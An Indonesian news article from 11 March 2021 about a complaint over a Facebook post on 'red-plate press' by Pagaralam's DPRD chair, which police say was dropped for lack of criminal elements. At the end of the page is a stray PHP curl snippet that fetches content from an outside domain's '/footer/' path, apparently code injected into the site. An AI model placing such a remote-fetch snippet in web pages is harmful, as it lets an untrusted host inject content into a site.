AL Kahfi Pelapor Pers Plat Merah : ini Tanggapanya.

Kamis, 11 Maret 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Pagaralam 11 maret 2021- Di sisis l Alkahfi selaku pelapor atas Postingan di fb Jenni Anabil Harlin terkait Pers Pelat Merah di Akun facebook milik Pribadinya Ketua DPRD Kota pagaralam beberapa bulan yang lalu, mengatakan saat di Wawancarai Awak Media di Polres Pagar Alam, yang jelas terkait rapat mewakili Insan Pers sebanyak 13 sampai 17 Media yang berbeda, akan ada Islah dan islah itu saya terima tetapi untuk perdamaian sampai saat itu tidak ada justru tidak adanya perdamaian langka yang mengenai sp2hp dari pihak peyidik polres pagaralam yang isinya tidak di temukan unsur pidana,kami akan mengadakan rapat kembali dengan rekan rekan media yang ikut melaporkan kasus ini,untuk menentukan langkah apa yang akan di ambil,apakah kami akan mengajukan saksi saksi ahli,bahasa pidana dan ite,atau kami akan mengajukan praperadilan tentag keputusan peyidik polres pagaralam,intinya kami akan rapat dulu .

Baca Juga:  "Hesteris" Saat Keluarga Abk Perahu Motor Probolinggo Di tahan oleh Dinas PSDKP Benoa

sementara itu Ketua DPR Kota Pagaralam Jenni Shandiah SE,MH di dampingi Kuasa hukum nya Etal Pargas SH,MH menghadiri undangan gelar perkara di ruangan Pitkor Polres Pagaralam hasil dari pada pelimpahan dari polda Sumsel bulan kemarin penjelasan perkara setatus terlapor surat ketetapan penghentian penyelidikan tidak memenuhi unsur pidana yang di tuduhkan ungkap nya.
ditambahkan Jenni saya sampai kan dan pastikan tidak ada perdamaian dalam kasus ini semua berjalan sesuai dengan prosedur yang ada tutur nya.

Baca Juga:  Pasca Diduga Teroris Serang Mabes Polri, Densus 88 Jemput Dua Orang di Kab Bandung

Sedangkan menurut Kapolres Pagaralam AKBP Dolly Gumara S,IK di dampingi AKP Acep Yuli Sahara ketika di konfirmasi mengatakan hari ini terkait Pers Plat merah kedua belah pihak sudah kita panggil dan sudah saling memaafkan Islah di katakan penyidik , karena ini Miskomunikasi saja sejauh ini belum cukup bukti untuk dilanjutkan ke Proses Hukum,jadi Gelar perkara kita dihentikan dengan melalui Meditasi kasus perkara Pers pelat merah dihentikan .ungkap nya.(Red)

Baca Juga:  Kaling Desa Bedeng Ake, Diduga Minta Jatah ke Penambang TI
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>